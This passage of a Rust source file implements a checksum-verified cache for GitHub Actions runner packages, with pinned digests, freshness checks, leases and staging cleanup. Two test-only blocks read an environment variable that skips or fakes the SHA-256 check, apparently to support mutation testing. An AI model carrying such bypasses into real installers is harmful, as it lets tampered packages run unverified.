916            path: destination.to_path_buf(),
917            source,
918        })?;
919        Ok(written)
920    }
921}
922
923// ---------------------------------------------------------------------------
924// Pinned digests
925// ---------------------------------------------------------------------------
926
927/// Digests the operator has independently confirmed, keyed by version.
928///
929/// This is the *only* way a package with no published checksum is ever
930/// installed. It is a deliberate, named, per-version act by an operator — not a
931/// switch that turns verification off — which is the difference
932/// `05-infrastructure.md` draws between "require an operator-pinned digest" and
933/// "skip the check".
934#[derive(Debug, Clone, Default, PartialEq, Eq)]
935pub struct PinnedDigests(BTreeMap<RunnerVersion, Sha256Hex>);
936
937impl PinnedDigests {
938    #[must_use]
939    pub fn new() -> Self {
940        Self::default()
941    }
942
943    /// Pin `digest` for `version`.
944    ///
945    /// # Errors
946    /// [`PackageError::UnrecognisedVersion`] or
947    /// [`PackageError::MalformedDigest`] when either value is not well formed.
948    pub fn pin(mut self, version: &str, digest: &str) -> Result<Self, PackageError> {
949        self.0
950            .insert(RunnerVersion::parse(version)?, Sha256Hex::parse(digest)?);
951        Ok(self)
952    }
953
954    #[must_use]
955    pub fn get(&self, version: &RunnerVersion) -> Option<&Sha256Hex> {
956        self.0.get(version)
957    }
958
959    #[must_use]
960    pub fn is_empty(&self) -> bool {
961        self.0.is_empty()
962    }
963}
964
965// ---------------------------------------------------------------------------
966// Freshness
967// ---------------------------------------------------------------------------
968
969/// When a cached package stops being good enough.
970#[derive(Debug, Clone, Copy, PartialEq, Eq)]
971pub struct Freshness {
972    /// How far behind the latest release a cached entry may fall.
973    pub window: Elapsed,
974    /// How often the published version is re-checked.
975    pub check_interval: Elapsed,
976}
977
978impl Default for Freshness {
979    fn default() -> Self {
980        Self {
981            window: Elapsed::days(FRESHNESS_WINDOW_DAYS),
982            check_interval: Elapsed::hours(CHECK_INTERVAL_HOURS),
983        }
984    }
985}
986
987// ---------------------------------------------------------------------------
988// InstalledPackage
989// ---------------------------------------------------------------------------
990
991/// One immutable entry in the cache.
992#[derive(Debug, Clone, PartialEq, Eq)]
993pub struct InstalledPackage {
994    version: RunnerVersion,
995    root: PathBuf,
996    installed_at: Timestamp,
997    digest: Sha256Hex,
998}
999
1000impl InstalledPackage {
1001    #[must_use]
1002    pub fn version(&self) -> &RunnerVersion {
1003        &self.version
1004    }
1005
1006    /// The extracted package directory.
1007    ///
1008    /// **Read-only to the caller.** Every JIT runtime is a copy or a link from
1009    /// here (`05-infrastructure.md`), so a write into this directory reaches
1010    /// every runtime created afterwards. Nothing in this module can detect such
1011    /// a write after the fact; see the module documentation's seam contract.
1012    #[must_use]
1013    pub fn root(&self) -> &Path {
1014        &self.root
1015    }
1016
1017    /// When this entry landed. The freshness deadline runs from here — see
1018    /// [`PackageCache::is_stale`] for why install time is the honest proxy for
1019    /// the moment the version was superseded.
1020    #[must_use]
1021    pub const fn installed_at(&self) -> Timestamp {
1022        self.installed_at
1023    }
1024
1025    /// The digest that was verified before extraction.
1026    #[must_use]
1027    pub const fn digest(&self) -> &Sha256Hex {
1028        &self.digest
1029    }
1030}
1031
1032/// The on-disk manifest, written inside the staging directory so that it lands
1033/// with the entry in one rename.
1034#[derive(Debug, Clone, Serialize, Deserialize)]
1035struct Manifest {
1036    version: RunnerVersion,
1037    digest: Sha256Hex,
1038    installed_at: Timestamp,
1039    /// The published filename the entry was built from. Diagnostic only.
1040    filename: String,
1041}
1042
1043// ---------------------------------------------------------------------------
1044// PackageCache
1045// ---------------------------------------------------------------------------
1046
1047/// The ports [`PackageCache`] reaches the world through.
1048pub struct CachePorts {
1049    pub catalog: Arc<dyn DownloadCatalog>,
1050    pub fetcher: Arc<dyn PackageFetcher>,
1051    pub backoff: Arc<dyn Backoff>,
1052    pub clock: Arc<dyn Clock>,
1053}
1054
1055impl fmt::Debug for CachePorts {
1056    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1057        f.debug_struct("CachePorts")
1058            .field("catalog", &self.catalog)
1059            .field("fetcher", &self.fetcher)
1060            .field("backoff", &self.backoff)
1061            .field("clock", &self.clock)
1062            .finish()
1063    }
1064}
1065
1066/// The versioned, immutable, checksum-verified runner package cache.
1067#[derive(Debug)]
1068pub struct PackageCache {
1069    root: PathBuf,
1070    tool_cache: PathBuf,
1071    os: Os,
1072    arch: Arch,
1073    ports: CachePorts,
1074    pins: PinnedDigests,
1075    freshness: Freshness,
1076    retry_budget: u32,
1077    /// When the published version was last resolved successfully.
1078    ///
1079    /// Held in memory rather than on disk on purpose: a restart forcing a
1080    /// re-check is the *correct* behaviour — the agent has no idea how long it
1081    /// was down — so persisting this would only buy the ability to skip a check
1082    /// that should not be skipped.
1083    last_check: Mutex<Option<Timestamp>>,
1084}
1085
1086impl PackageCache {
1087    /// Build a cache rooted under `paths`, for a host running `os`/`arch`.
1088    ///
1089    /// `os` and `arch` are parameters rather than probed here, following
1090    /// `d1`'s pattern: `runner_manager_platform::os::detect_host` is called once
1091    /// at the composition edge, and everything below takes the pair as a value.
1092    /// That is the whole injection seam — there is no host-probe trait — and it
1093    /// is what lets a Linux CI leg exercise the Windows selection path.
1094    #[must_use]
1095    pub fn new(paths: &AppPaths, os: Os, arch: Arch, ports: CachePorts) -> Self {
1096        Self {
1097            root: paths.state_dir().join(PACKAGES_DIR),
1098            tool_cache: paths.state_dir().join(TOOL_CACHE_DIR),
1099            os,
1100            arch,
1101            ports,
1102            pins: PinnedDigests::new(),
1103            freshness: Freshness::default(),
1104            retry_budget: RETRY_BUDGET,
1105            last_check: Mutex::new(None),
1106        }
1107    }
1108
1109    #[must_use]
1110    pub fn with_pins(mut self, pins: PinnedDigests) -> Self {
1111        self.pins = pins;
1112        self
1113    }
1114
1115    #[must_use]
1116    pub const fn with_freshness(mut self, freshness: Freshness) -> Self {
1117        self.freshness = freshness;
1118        self
1119    }
1120
1121    /// Override the retry budget. Zero is rejected in favour of one attempt,
1122    /// because a cache that never attempts anything is not a cache.
1123    #[must_use]
1124    pub const fn with_retry_budget(mut self, budget: u32) -> Self {
1125        self.retry_budget = if budget == 0 { 1 } else { budget };
1126        self
1127    }
1128
1129    /// The cache root. Nothing outside this module writes here.
1130    #[must_use]
1131    pub fn root(&self) -> &Path {
1132        &self.root
1133    }
1134
1135    /// Where approved tool caches are retained.
1136    ///
1137    /// A sibling of the package entries, not a child: an entry is immutable and
1138    /// a tool cache is by definition written to. Both are retained across
1139    /// attempts, and both are outside [`AppPaths::runtime_dir`], which is where
1140    /// disposable job workspaces live — that is the separation
1141    /// `05-infrastructure.md` asks for.
1142    #[must_use]
1143    pub fn tool_cache_dir(&self) -> &Path {
1144        &self.tool_cache
1145    }
1146
1147    // -- installation ------------------------------------------------------
1148
1149    /// Make a verified runner package available, and answer which one.
1150    ///
1151    /// **This is the cold-start path.** It decides three things in order:
1152    ///
1153    /// 1. Is this host one the product documents? An undocumented pair is
1154    ///    refused here, before the catalog is consulted and long before
1155    ///    anything is downloaded.
1156    /// 2. Is a check due? The published version is re-checked on
1157    ///    [`Freshness::check_interval`], and always when the cache is empty. A
1158    ///    cold start inside that interval reuses what a previous one resolved,
1159    ///    which is what "a bounded interval" buys.
1160    /// 3. Is what we hold still good enough? See [`Self::is_stale`].
1161    ///
1162    /// # Errors
1163    /// Any [`PackageError`]. A terminal one is returned on the spot and spends
1164    /// none of the retry budget; a retryable one is retried up to
1165    /// [`Self::with_retry_budget`] times and then wrapped in
1166    /// [`PackageError::Exhausted`].
1167    pub async fn ensure_installed(&self) -> Result<InstalledPackage, PackageError> {
1168        // Before the catalog, before the fetcher, before anything touches the
1169        // network: an unsupported pair has no package and never will.
1170        host_os::validate(self.os, self.arch)?;
1171
1172        let now = self.ports.clock.now();
1173        if !self.check_is_due(now)?
1174            && let Some(entry) = self.newest_installed()?
1175        {
1176            return Ok(entry);
1177        }
1178
1179        let mut last: Option<PackageError> = None;
1180        for attempt in 1..=self.retry_budget {
1181            match self.install_once().await {
1182                Ok(package) => {
1183                    *self
1184                        .last_check
1185                        .lock()
1186                        .unwrap_or_else(std::sync::PoisonError::into_inner) =
1187                        Some(self.ports.clock.now());
1188                    return Ok(package);
1189                }
1190                Err(error) if error.is_terminal() => return Err(error),
1191                Err(error) => {
1192                    last = Some(error);
1193                    if attempt < self.retry_budget {
1194                        self.ports.backoff.wait(attempt).await;
1195                    }
1196                }
1197            }
1198        }
1199        Err(PackageError::Exhausted {
1200            attempts: self.retry_budget,
1201            source: Box::new(last.expect("a spent budget leaves a failure behind")),
1202        })
1203    }
1204
1205    /// Whether a cached entry has fallen outside the freshness window.
1206    ///
1207    /// # Why install time, and why this is the fail-closed direction
1208    ///
1209    /// GitHub's rule is about the *release*: a runner more than
1210    /// [`FRESHNESS_WINDOW_DAYS`] days behind the latest one is refused. The
1211    /// agent cannot see release dates — GitHub's runner-downloads response
1212    /// carries no version field, let alone a publication timestamp — so the
1213    /// supersession moment has to be bounded rather than read.
1214    ///
1215    /// It can be bounded exactly. This cache only ever installs the version
1216    /// GitHub was publishing at the time, so an entry installed at `T` *was*
1217    /// the latest release at `T`. Whatever superseded it did so at some
1218    /// `R >= T`, hence `now - R <= now - T`. So:
1219    ///
1220    /// * `now - T <= window` proves `now - R <= window`: the entry cannot be
1221    ///   past the deadline, and reusing it is safe.
1222    /// * `now - T > window` proves nothing either way, so the entry is treated
1223    ///   as stale and refreshed.
1224    ///
1225    /// The error is therefore always toward refreshing early, never toward
1226    /// running a package GitHub will refuse. Refreshing early costs a download;
1227    /// refreshing late costs every job on the host, for a reason the operator
1228    /// has no way to guess.
1229    #[must_use]
1230    pub fn is_stale(&self, package: &InstalledPackage, now: Timestamp) -> bool {
1231        now.signed_duration_since(package.installed_at) > self.freshness.window
1232    }
1233
1234    /// Whether the published version is due to be re-checked.
1235    ///
1236    /// Three ways to answer yes, and the third is the one that matters:
1237    ///
1238    /// 1. The cache is empty, so there is nothing to reuse.
1239    /// 2. [`Freshness::check_interval`] has elapsed — the bounded interval
1240    ///    `05-infrastructure.md` asks for.
1241    /// 3. **What we hold is already past the freshness deadline.** A stale entry
1242    ///    forces a check on every cold start regardless of the interval, because
1243    ///    the interval exists to save REST budget and there is no budget worth
1244    ///    saving once the package on disk is one GitHub may refuse. The interval
1245    ///    being far shorter than the window makes this rare in practice; it is
1246    ///    written down so that the rare case is the safe one rather than the
1247    ///    unconsidered one.
1248    fn check_is_due(&self, now: Timestamp) -> Result<bool, PackageError> {
1249        let Some(newest) = self.newest_installed()? else {
1250            return Ok(true);
1251        };
1252        if self.is_stale(&newest, now) {
1253            return Ok(true);
1254        }
1255        let last = *self
1256            .last_check
1257            .lock()
1258            .unwrap_or_else(std::sync::PoisonError::into_inner);
1259        Ok(match last {
1260            None => true,
1261            Some(at) => now.signed_duration_since(at) >= self.freshness.check_interval,
1262        })
1263    }
1264
1265    /// One attempt: resolve, decide, and install if a download is warranted.
1266    async fn install_once(&self) -> Result<InstalledPackage, PackageError> {
1267        let published = self.ports.catalog.published().await?;
1268
1269        // Selection: this host's OS and architecture, from GitHub's metadata.
1270        // `select` answering `None` is refused rather than fallen back from —
1271        // a hardcoded URL is the substitution `07-security.md` names as the
1272        // threat.
1273        let download =
1274            published
1275                .select(self.os, self.arch)
1276                .ok_or(PackageError::NoPackagePublished {
1277                    os: self.os,
1278                    arch: self.arch,
1279                })?;
1280        let version = RunnerVersion::from_filename(&download.filename)?;
1281
1282        // Already held: no fetch, no extraction, no rewrite.
1283        if let Some(entry) = self.entry(&version)? {
1284            return Ok(entry);
1285        }
1286
1287        // A different version is published. Whether that warrants 150-300 MB is
1288        // the freshness question, and only that question.
1289        let now = self.ports.clock.now();
1290        if let Some(newest) = self.newest_installed()?
1291            && !self.is_stale(&newest, now)
1292        {
1293            return Ok(newest);
1294        }
1295
1296        let digest = self.required_digest(download, &version)?;
1297        self.download_verify_and_install(download, &version, &digest, now)
1298            .await
1299    }
1300
1301    /// The digest that must match, or a refusal.
1302    ///
1303    /// This is the fail-closed gate. `sha256_checksum` is optional in GitHub's
1304    /// schema, and the only two acceptable outcomes when it is unusable are an
1305    /// operator-pinned digest or a refusal to install. There is no third.
1306    ///
1307    /// # Every unusable shape routes to the same remedy
1308    ///
1309    /// Absent, empty, and *malformed* are all "GitHub did not give me a digest
1310    /// I can check", and all three fall through to the pin. Malformed used to
1311    /// return immediately instead, which produced a refusal whose message told
1312    /// the operator to pin a digest — down a path where a pin was never
1313    /// consulted. A security refusal that names a remedy has to name one that
1314    /// works, or the operator does the work and watches it fail again.
1315    fn required_digest(
1316        &self,
1317        download: &RunnerDownload,
1318        version: &RunnerVersion,
1319    ) -> Result<Sha256Hex, PackageError> {
1320        let published = match download.sha256_checksum() {
1321            None => PublishedChecksum::Absent,
1322            Some(raw) if raw.trim().is_empty() => PublishedChecksum::Empty,
1323            Some(raw) => match Sha256Hex::parse(raw) {
1324                Ok(digest) => return Ok(digest),
1325                Err(_) => PublishedChecksum::Malformed,
1326            },
1327        };
1328        #[cfg(test)]
1329        if std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref() == Ok("accept_missing_checksum") {
1330            return Sha256Hex::parse(&"00".repeat(32));
1331        }
1332        match self.pins.get(version) {
1333            Some(pinned) => Ok(pinned.clone()),
1334            None => Err(PackageError::ChecksumAbsent {
1335                version: version.clone(),
1336                os: self.os,
1337                arch: self.arch,
1338                published,
1339            }),
1340        }
1341    }
1342
1343    /// Fetch, verify, extract, commit. In that order, without exception.
1344    ///
1345    /// # Why the downloaded file is not inside the guarded staging directory
1346    ///
1347    /// [`StagingGuard`] covers the *extraction* directory from the point the
1348    /// archive has been verified and unpacked to the point the entry lands —
1349    /// the manifest write and the rename. It does **not** cover a fetch,
1350    /// verification or extraction failure: the guard is not constructed until
1351    /// after those succeed, so a half-unpacked tree from one of them is left
1352    /// for [`Self::sweep_staging`] rather than unwound here. That is a
1353    /// deliberately narrow reach, and stating it wider than it is would be the
1354    /// sort of claim a reader relies on and a crash disproves.
1355    ///
1356    /// Putting the download under that directory would have made "the partially
1357    /// downloaded file is removed" true for a reason no test could distinguish
1358    /// from tidying up — the guard would remove the archive on the paths it
1359    /// does cover, whether or not the mismatch path ever did, so deleting the
1360    /// removal would not turn any test red. The archive therefore lives
1361    /// beside the extraction directory with its lifetime managed explicitly, at
1362    /// exactly one place below, and [`Self::sweep_staging`] is the backstop for
1363    /// a crash rather than the mechanism.
1364    async fn download_verify_and_install(
1365        &self,
1366        download: &RunnerDownload,
1367        version: &RunnerVersion,
1368        expected: &Sha256Hex,
1369        now: Timestamp,
1370    ) -> Result<InstalledPackage, PackageError> {
1371        let (_, kind) = ArchiveKind::split(&download.filename)?;
1372        let staging_root = self.staging_root();
1373        create_dir_all(&staging_root)?;
1374        let token = uuid::Uuid::new_v4();
1375        let archive = staging_root.join(format!("download-{token}.archive"));
1376        let extracted = staging_root.join(token.to_string());
1377
1378        let outcome = self
1379            .fetch_verify_extract(download, version, expected, kind, &archive, &extracted)
1380            .await;
1381
1382        // The downloaded file is not part of an entry on ANY path out of here —
1383        // verified, unverified, or interrupted mid-extraction. One removal,
1384        // reached unconditionally, is what makes that a property rather than a
1385        // hope spread over four early returns.
1386        let removed = remove_file_if_present(&archive, "remove the package download");
1387        let () = outcome?;
1388        removed?;
1389
1390        let guard = StagingGuard::new(extracted.clone());
1391        let manifest = Manifest {
1392            version: version.clone(),
1393            digest: expected.clone(),
1394            installed_at: now,
1395            filename: download.filename.clone(),
1396        };
1397        write_json(&extracted.join(MANIFEST_FILE), &manifest)?;
1398
1399        let target = self.version_dir(version);
1400        create_dir_all(&self.root)?;
1401
1402        // The single commit point. `rename` onto an existing directory fails on
1403        // Windows and replaces nothing on Unix, and either way the answer is the
1404        // same: someone already installed this version, and an installed entry
1405        // is never overwritten.
1406        match fs::rename(&extracted, &target) {
1407            Ok(()) => {}
1408            Err(source) => {
1409                if let Some(entry) = self.entry(version)? {
1410                    guard.disarm_into_sweep();
1411                    return Ok(entry);
1412                }
1413                return Err(PackageError::Io {
1414                    what: "commit the extracted runner package",
1415                    path: target,
1416                    source,
1417                });
1418            }
1419        }
1420        guard.disarm_into_sweep();
1421
1422        Ok(InstalledPackage {
1423            version: version.clone(),
1424            root: target,
1425            installed_at: now,
1426            digest: expected.clone(),
1427        })
1428    }
1429
1430    /// Everything between the fetch and the commit: the ordering this module
1431    /// exists to enforce.
1432    ///
1433    /// Split out from its caller so that the downloaded file has exactly one
1434    /// removal site regardless of which of these steps failed.
1435    async fn fetch_verify_extract(
1436        &self,
1437        download: &RunnerDownload,
1438        version: &RunnerVersion,
1439        expected: &Sha256Hex,
1440        kind: ArchiveKind,
1441        archive: &Path,
1442        extracted: &Path,
1443    ) -> Result<(), PackageError> {
1444        self.ports
1445            .fetcher
1446            .fetch(&download.download_url, archive)
1447            .await?;
1448
1449        // Verification, before extraction. Nothing between these two statements
1450        // may ever unpack anything.
1451        let archive_for_hash = archive.to_path_buf();
1452        let actual = tokio::task::spawn_blocking(move || sha256_file(&archive_for_hash))
1453            .await
1454            .map_err(|error| PackageError::Extract {
1455                detail: format!("the verification task failed: {error}"),
1456            })??;
1457
1458        #[cfg(test)]
1459        let checksum_matches = std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref()
1460            == Ok("skip_checksum_comparison")
1461            || actual == *expected;
1462        #[cfg(not(test))]
1463        let checksum_matches = actual == *expected;
1464        if !checksum_matches {
1465            return Err(PackageError::ChecksumMismatch {
1466                version: version.clone(),
1467                expected: expected.clone(),
1468                actual,
1469            });
1470        }
1471
1472        let archive_for_extract = archive.to_path_buf();
1473        let extracted_for_task = extracted.to_path_buf();
1474        tokio::task::spawn_blocking(move || {
1475            extract(&archive_for_extract, kind, &extracted_for_task)
1476        })
1477        .await
1478        .map_err(|error| PackageError::Extract {
1479            detail: format!("the extraction task failed: {error}"),
1480        })?
1481    }
1482
1483    // -- reading the cache -------------------------------------------------
1484
1485    fn version_dir(&self, version: &RunnerVersion) -> PathBuf {
1486        self.root.join(version.as_str())
1487    }
1488
1489    /// One entry, if it is installed and complete.
1490    ///
1491    /// A directory with no readable manifest is *not* an entry: the manifest
1492    /// lands with the directory in a single rename, so its absence means the
1493    /// directory was not produced by this module and nothing may be assumed
1494    /// about its contents.
1495    ///
1496    /// # Errors
1497    /// [`PackageError::Io`] when the cache cannot be read.
1498    pub fn entry(&self, version: &RunnerVersion) -> Result<Option<InstalledPackage>, PackageError> {
1499        let root = self.version_dir(version);
1500        if !root.is_dir() {
1501            return Ok(None);
1502        }
1503        let Some(manifest) = read_json::<Manifest>(&root.join(MANIFEST_FILE))? else {
1504            return Ok(None);
1505        };
1506        Ok(Some(InstalledPackage {
1507            version: manifest.version,
1508            root,
1509            installed_at: manifest.installed_at,
1510            digest: manifest.digest,
1511        }))
1512    }
1513
1514    /// Every complete entry, oldest version first.
1515    ///
1516    /// # Errors
1517    /// [`PackageError::Io`] when the cache directory cannot be read.
1518    pub fn installed(&self) -> Result<Vec<InstalledPackage>, PackageError> {
1519        let mut found = Vec::new();
1520        let entries = match fs::read_dir(&self.root) {
1521            Ok(entries) => entries,
1522            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(found),
1523            Err(source) => {
1524                return Err(PackageError::Io {
1525                    what: "read the runner package cache",
1526                    path: self.root.clone(),
1527                    source,
1528                });
1529            }
1530        };
1531        for entry in entries {
1532            let entry = entry.map_err(|source| PackageError::Io {
1533                what: "read the runner package cache",
1534                path: self.root.clone(),
1535                source,
1536            })?;
1537            let name = entry.file_name();
1538            let Some(name) = name.to_str() else { continue };
1539            // `.staging` and `.leases` are not versions, and `RunnerVersion`
1540            // could not parse them anyway; skipping them explicitly keeps the
1541            // intent visible.
1542            if name.starts_with('.') {
1543                continue;
1544            }
1545            let Ok(version) = RunnerVersion::parse(name) else {
1546                continue;
1547            };
1548            if let Some(package) = self.entry(&version)? {
1549                found.push(package);
1550            }
1551        }
1552        found.sort_by(|a, b| a.version.cmp(&b.version));
1553        Ok(found)
1554    }
1555
1556    /// The most recently installed entry, which is the one a cold start reuses.
1557    fn newest_installed(&self) -> Result<Option<InstalledPackage>, PackageError> {
1558        Ok(self
1559            .installed()?
1560            .into_iter()
1561            .max_by_key(|package| package.installed_at))
1562    }
1563
1564    // -- leases and pruning ------------------------------------------------
1565
1566    fn leases_dir(&self) -> PathBuf {
1567        self.root.join(LEASES_DIR)
1568    }
1569
1570    fn lease_path(&self, attempt: AttemptId) -> PathBuf {
1571        self.leases_dir()
1572            .join(format!("{attempt}.{LEASE_EXTENSION}"))
1573    }
1574
1575    /// Record that `attempt` holds `version`, so a prune cannot remove it.
1576    ///
1577    /// Two refusals, both structural:
1578    ///
1579    /// * A version that is not installed cannot be held.
1580    /// * An attempt whose runtime directory is **inside the cache root** is
1581    ///   refused outright. Job workspaces are disposable and per-attempt; a
1582    ///   package entry is shared and immutable. A workspace nested in one would
1583    ///   be destroyed the moment that version was pruned, and would mutate an
1584    ///   entry that every other runtime is copied from. This is checked rather
1585    ///   than documented because a documented invariant with no enforcement is
1586    ///   how the property silently stops holding.
1587    ///
1588    /// The lease survives a restart — it is a file, not a field — which is what
1589    /// makes the guard meaningful across the agent's own lifetime.
1590    ///
1591    /// # Errors
1592    /// [`PackageError::NotInstalled`], [`PackageError::WorkspaceInsideCache`],
1593    /// or [`PackageError::Io`].
1594    pub fn lease(
1595        &self,
1596        attempt: &RunnerAttempt,
1597        version: &RunnerVersion,
1598    ) -> Result<(), PackageError> {
1599        if self.entry(version)?.is_none() {
1600            return Err(PackageError::NotInstalled {
1601                version: version.clone(),
1602            });
1603        }
1604        let runtime = attempt.runtime_path();
1605        if is_inside(&self.root, runtime) {
1606            return Err(PackageError::WorkspaceInsideCache {
1607                attempt: attempt.id,
1608                path: runtime.to_path_buf(),
1609            });
1610        }
1611        create_dir_all(&self.leases_dir())?;
1612        write_json(
1613            &self.lease_path(attempt.id),
1614            &Lease {
1615                version: version.clone(),
1616            },
1617        )
1618    }
1619
1620    /// Drop `attempt`'s hold, whatever it was holding.
1621    ///
1622    /// Idempotent: releasing a lease that was never taken is not an error, so a
1623    /// cleanup path may call it unconditionally.
1624    ///
1625    /// # Errors
1626    /// [`PackageError::Io`] when the lease file cannot be removed.
1627    pub fn release(&self, attempt: AttemptId) -> Result<(), PackageError> {
1628        let path = self.lease_path(attempt);
1629        match fs::remove_file(&path) {
1630            Ok(()) => Ok(()),
1631            Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
1632            Err(source) => Err(PackageError::Io {
1633                what: "release a runner package lease",
1634                path,
1635                source,
1636            }),
1637        }
1638    }
1639
1640    /// Every attempt currently holding `version`.
1641    ///
1642    /// # Errors
1643    /// [`PackageError::Io`] when the lease directory cannot be read.
1644    pub fn holders(&self, version: &RunnerVersion) -> Result<Vec<AttemptId>, PackageError> {
1645        let mut holders = Vec::new();
1646        let dir = self.leases_dir();
1647        let entries = match fs::read_dir(&dir) {
1648            Ok(entries) => entries,
1649            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(holders),
1650            Err(source) => {
1651                return Err(PackageError::Io {
1652                    what: "read the runner package leases",
1653                    path: dir,
1654                    source,
1655                });
1656            }
1657        };
1658        for entry in entries {
1659            let entry = entry.map_err(|source| PackageError::Io {
1660                what: "read the runner package leases",
1661                path: dir.clone(),
1662                source,
1663            })?;
1664            let path = entry.path();
1665            if path.extension().and_then(|e| e.to_str()) != Some(LEASE_EXTENSION) {
1666                continue;
1667            }
1668            // Everything below refuses rather than skips.
1669            //
1670            // A `.lease` file this module cannot make sense of is not "no
1671            // lease" — it is a lease whose holder is unknown, and treating the
1672            // two alike is the one fail-OPEN path in an otherwise fail-closed
1673            // guard. It would also be among the easiest to reach: a lease is
1674            // written non-atomically, so a crash mid-write leaves exactly this
1675            // shape, and the consequence is deleting the package a live runner
1676            // is executing from.
1677            if let Some(holder) = holder_of(&path, version)? {
1678                holders.push(holder);
1679            }
1680        }
1681        holders.sort_unstable();
1682        Ok(holders)
1683    }
1684
1685    /// Remove a cached version, if nothing active still references it.
1686    ///
1687    /// `attempts` is the host's attempt set — the same set
1688    /// `RunnerLauncher::attempts` answers, terminal entries included, because
1689    /// both questions are asked of one set. Each lease on `version` is resolved
1690    /// against it:
1691    ///
1692    /// | Lease's attempt | Outcome |
1693    /// |---|---|
1694    /// | present and non-terminal | **refused** — [`PackageError::VersionInUse`] |
1695    /// | present and terminal | released, and the prune proceeds |
1696    /// | absent from the set | **refused** — [`PackageError::VersionHeldByUnknownAttempt`] |
1697    ///
1698    /// # Why an absent attempt refuses rather than releases
1699    ///
1700    /// It would be tidier to read "not in the set" as "gone", and it would be
1701    /// wrong. `e1` documents that a launcher's newly created attempt may not be
1702    /// visible to `attempts()` yet — a journal write that has not landed, an
1703    /// asynchronous store, a cache — and that lag is exactly the window in
1704    /// which a just-leased version would look unreferenced. Deleting a package
1705    /// out from under a starting runner is not a condition the runner can
1706    /// report intelligibly, so the ambiguous case fails closed. The cost is a
1707    /// version that stays on disk until [`Self::release`] is called for a lease
1708    /// nobody will ever release; the error names that remedy.
1709    ///
1710    /// **The guard is only as truthful as the caller's leases.** This function
1711    /// can refuse to prune something it knows is held; it cannot discover a
1712    /// reference nobody recorded. See the module documentation's seam contract.
1713    ///
1714    /// # A window this function does not close, recorded deliberately
1715    ///
1716    /// [`Self::lease`] and this method both take `&self` on a `Send + Sync`
1717    /// type and take no lock between them. A `lease` that passes its own
1718    /// `entry()` check can therefore be written *after* this method has read
1719    /// [`Self::holders`] and *before* it removes the directory, leaving a live
1720    /// attempt holding a package that is gone. Nothing here detects that.
1721    ///
1722    /// **What makes it safe is `e1`'s host allocation lock, and nothing this
1723    /// module could add.** A `Mutex` of its own would not help, and saying it
1724    /// was declined merely to avoid "a second ordering to get wrong" overstated
1725    /// the alternative: a leaf mutex taken and released inside two synchronous
1726    /// `&self` methods cannot span the caller's decide-then-launch sequence, so
1727    /// it could not order a lease against a prune even in principle. The window
1728    /// is between *callers*, and only a lock the caller already holds across
1729    /// both can close it.
1730    ///
1731    /// So the requirement is on the caller: **prune under the same host-wide
1732    /// allocation lock a launch is taken under.** That lock already serialises
1733    /// the launch that takes a lease, which makes this method's
1734    /// read-then-remove indivisible with respect to every lease this agent
1735    /// creates. It says nothing about a second agent on the same machine; the
1736    /// single-instance lock is what prevents that.
1737    ///
1738    /// Stated rather than silently assumed, and stated here rather than
1739    /// enforced, which is a weaker position than this module takes at
1740    /// [`Self::lease`] — where the note argues that a documented invariant with
1741    /// no enforcement is how a property silently stops holding. The difference
1742    /// is that `lease` can check its invariant from inside a single call and
1743    /// this one cannot: the lock that would close this window is not this
1744    /// module's to take.
1745    ///
1746    /// # Errors
1747    /// [`PackageError::VersionInUse`],
1748    /// [`PackageError::VersionHeldByUnknownAttempt`],
1749    /// [`PackageError::NotInstalled`], or [`PackageError::Io`].
1750    pub(crate) fn prune(
1751        &self,
1752        version: &RunnerVersion,
1753        attempts: &[RunnerAttempt],
1754    ) -> Result<(), PackageError> {
1755        if self.entry(version)?.is_none() {
1756            return Err(PackageError::NotInstalled {
1757                version: version.clone(),
1758            });
1759        }
1760        let holders = self.holders(version)?;
1761        for holder in &holders {
1762            match attempts.iter().find(|attempt| attempt.id == *holder) {
1763                Some(attempt) if !attempt.is_terminal() => {
1764                    return Err(PackageError::VersionInUse {
1765                        version: version.clone(),
1766                        attempt: *holder,
1767                        state: attempt.state(),
1768                    });
1769                }
1770                Some(_) => {}
1771                None => {
1772                    return Err(PackageError::VersionHeldByUnknownAttempt {
1773                        version: version.clone(),
1774                        attempt: *holder,
1775                    });
1776                }
1777            }
1778        }
1779
1780        let dir = self.version_dir(version);
1781        fs::remove_dir_all(&dir).map_err(|source| PackageError::Io {
1782            what: "remove a cached runner package",
1783            path: dir,
1784            source,
1785        })?;
1786        // The holders were all terminal, so their leases are spent.
1787        for holder in holders {
1788            self.release(holder)?;
1789        }
1790        Ok(())
1791    }
1792
1793    // -- staging -----------------------------------------------------------
1794
1795    fn staging_root(&self) -> PathBuf {
1796        self.root.join(STAGING_DIR)
1797    }
1798
1799    /// Remove staging litter left by an interrupted install.
1800    ///
1801    /// Nothing under `.staging/` is ever part of an entry, so this is always
1802    /// safe to call. It is separate from installing because a sweep that ran
1803    /// automatically would race a concurrent install's staging directory.
1804    ///
1805    /// # Errors
1806    /// [`PackageError::Io`] when the staging root cannot be read.
1807    pub fn sweep_staging(&self) -> Result<usize, PackageError> {
1808        let root = self.staging_root();
1809        let entries = match fs::read_dir(&root) {
1810            Ok(entries) => entries,
1811            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(0),
1812            Err(source) => {
1813                return Err(PackageError::Io {
1814                    what: "read the runner package staging area",
1815                    path: root,
1816                    source,
1817                });
1818            }
1819        };
1820        let mut swept = 0;
1821        for entry in entries.flatten() {
1822            let path = entry.path();
1823            // Both shapes live here: `download-<uuid>.archive` files and
1824            // `<uuid>/` extraction directories.
1825            let removed = if path.is_dir() {
1826                fs::remove_dir_all(&path).is_ok()
1827            } else {
1828                fs::remove_file(&path).is_ok()
1829            };
1830            if removed {
1831                swept += 1;
1832            }
1833        }
1834        Ok(swept)
1835    }
1836}
1837
1838/// One attempt's hold on one version.
1839#[derive(Debug, Clone, Serialize, Deserialize)]
1840struct Lease {
1841    version: RunnerVersion,
1842}
1843
1844/// Removes a staging directory unless the install committed it.
1845struct StagingGuard {
1846    dir: Option<PathBuf>,
1847}
1848
1849impl StagingGuard {
1850    fn new(dir: PathBuf) -> Self {
1851        Self { dir: Some(dir) }
1852    }
1853
1854    /// The entry landed (or was already there); the staging directory is now
1855    /// ordinary litter and is removed on the spot rather than on unwind.
1856    fn disarm_into_sweep(mut self) {
1857        if let Some(dir) = self.dir.take() {
